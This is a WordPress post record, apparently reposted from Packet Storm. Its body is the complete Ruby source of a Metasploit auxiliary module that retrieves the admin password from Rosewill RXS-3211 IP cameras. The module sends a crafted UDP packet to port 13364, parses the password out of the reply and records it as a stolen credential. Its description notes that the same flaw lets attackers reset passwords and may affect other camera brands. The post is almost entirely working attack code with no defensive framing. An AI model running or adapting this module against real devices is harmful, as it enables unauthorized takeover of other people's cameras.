{"id":59373,"date":"2024-09-01T22:39:54","date_gmt":"2024-09-01T19:39:54","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181216\/rosewill_rxs3211_passwords.rb.txt"},"modified":"2024-09-01T22:39:54","modified_gmt":"2024-09-01T19:39:54","slug":"rosewill-rxs-3211-ip-camera-password-retriever","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/rosewill-rxs-3211-ip-camera-password-retriever\/","title":{"rendered":"Rosewill RXS-3211 IP Camera Password Retriever"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::Udp<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Auxiliary::Scanner<\/p>\n<p>def initialize<br \/>super(<br \/>&#8216;Name&#8217; =&gt; &#8216;Rosewill RXS-3211 IP Camera Password Retriever&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module takes advantage of a protocol design issue with the Rosewill admin<br \/>executable in order to retrieve passwords, allowing remote attackers to take<br \/>administrative control over the device. Other similar IP Cameras such as Edimax,<br \/>Hawking, Zonet, etc, are also believed to have the same flaw, but not fully tested.<br \/>The protocol design issue also allows attackers to reset passwords on the device.<br \/>},<br \/>&#8216;Author&#8217; =&gt; &#8216;Ben Schmidt&#8217;,<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>Opt::CHOST,<br \/>Opt::RPORT(13364),<br \/>])<br \/>end<\/p>\n<p>def run_host(ip)<br \/>#Protocol<br \/>target_mac = &#8220;\\xff\\xff\\xff\\xff\\xff\\xff&#8221;<br \/>cmd = &#8220;\\x00&#8221; #Request<br \/>cmd &lt;&lt; &#8220;\\x06\\xff\\xf9&#8221; #Type<\/p>\n<p>password = nil<\/p>\n<p>begin<br \/>udp_sock = Rex::Socket::Udp.create( {<br \/>&#8216;LocalHost&#8217; =&gt; datastore[&#8216;CHOST&#8217;] || nil,<br \/>&#8216;PeerHost&#8217; =&gt; ip,<br \/>&#8216;PeerPort&#8217; =&gt; datastore[&#8216;RPORT&#8217;],<br \/>&#8216;Context&#8217; =&gt;<br \/>{<br \/>&#8216;Msf&#8217; =&gt; framework,<br \/>&#8216;MsfExploit&#8217; =&gt; self<br \/>}<br \/>})<\/p>\n<p>udp_sock.put(target_mac+cmd)<\/p>\n<p>res = udp_sock.recvfrom(65535, 0.5) and res[1]\n<p>#Parse the reply if we get a response<br \/>if res<br \/>password = parse_reply(res)<br \/>end<br \/>rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused, ::IOError<br \/>print_error(&#8220;Connection error&#8221;)<br \/>rescue ::Interrupt<br \/>raise $!<br \/>rescue ::Exception =&gt; e<br \/>print_error(&#8220;Unknown error: #{e.class} #{e}&#8221;)<br \/>ensure<br \/>udp_sock.close if udp_sock<br \/>end<\/p>\n<p>#Store the password if the parser returns something<br \/>if password<br \/>print_good(&#8220;Password retrieved: #{password.to_s}&#8221;)<br \/>report_cred(<br \/>ip: rhost,<br \/>port: rport,<br \/>service_name: &#8216;ipcam&#8217;,<br \/>user: &#8221;,<br \/>password: password,<br \/>proof: password<br \/>)<br \/>end<br \/>end<\/p>\n<p>def report_cred(opts)<br \/>service_data = {<br \/>address: opts[:ip],<br \/>port: opts[:port],<br \/>service_name: opts[:service_name],<br \/>protocol: &#8216;tcp&#8217;,<br \/>workspace_id: myworkspace_id<br \/>}<\/p>\n<p>credential_data = {<br \/>origin_type: :service,<br \/>module_fullname: fullname,<br \/>username: opts[:user],<br \/>private_data: opts[:password],<br \/>private_type: :password<br \/>}.merge(service_data)<\/p>\n<p>login_data = {<br \/>core: create_credential(credential_data),<br \/>status: Metasploit::Model::Login::Status::UNTRIED,<br \/>proof: opts[:proof]}.merge(service_data)<\/p>\n<p>create_credential_login(login_data)<br \/>end<\/p>\n<p>def parse_reply(pkt)<br \/>@results ||= {}<\/p>\n<p># Ignore &#8220;empty&#8221; packets<br \/>return nil if not pkt[1]\n<p>if(pkt[1] =~ \/^::ffff:\/)<br \/>pkt[1] = pkt[1].sub(\/^::ffff:\/, &#8221;)<br \/>end<\/p>\n<p>return pkt[0][333,12] if pkt[0][6,4] == &#8220;\\x01\\x06\\xff\\xf9&#8221;<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::Udpinclude Msf::Auxiliary::Reportinclude Msf::Auxiliary::Scanner def initializesuper(&#8216;Name&#8217; =&gt; &#8216;Rosewill RXS-3211 IP Camera Password Retriever&#8217;,&#8216;Description&#8217; =&gt; %q{This module takes advantage of a protocol design issue with the Rosewill adminexecutable in order to retrieve passwords, allowing remote attackers to takeadministrative control over the device. Other similar &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59373","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59373","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59373"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59373\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59373"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59373"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59373"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}